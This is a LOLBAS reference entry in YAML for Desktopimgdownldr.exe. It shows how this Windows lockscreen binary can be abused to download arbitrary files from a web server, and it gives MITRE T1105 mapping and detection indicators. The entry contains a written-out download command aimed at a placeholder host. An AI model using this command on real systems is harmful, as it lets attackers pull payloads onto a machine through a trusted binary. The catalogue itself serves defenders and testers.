LOLBAS/yml/OSBinaries/Desktopimgdownldr.yml

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YAML

---
Name: Desktopimgdownldr.exe
Description: Windows binary used to configure lockscreen/desktop image
Author: Gal Kristal
Created: 28/06/2020
Commands:
- Command: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
Description: Downloads the file and sets it as the computer's lockscreen
Usecase: Download arbitrary files from a web server
Category: Download
Privileges: User
MitreID: T1105
MitreLink: https://attack.mitre.org/techniques/T1105/
OperatingSystem: Windows 10
Full_Path:
- Path: c:\windows\system32\desktopimgdownldr.exe
Code_Sample:
- Code:
Detection:
- IOC: desktopimgdownldr.exe that creates non-image file
- IOC: Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl
Resources:
- Link: https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
Acknowledgement:
- Person: Gal Kristal
Handle: '@gal_kristal'
---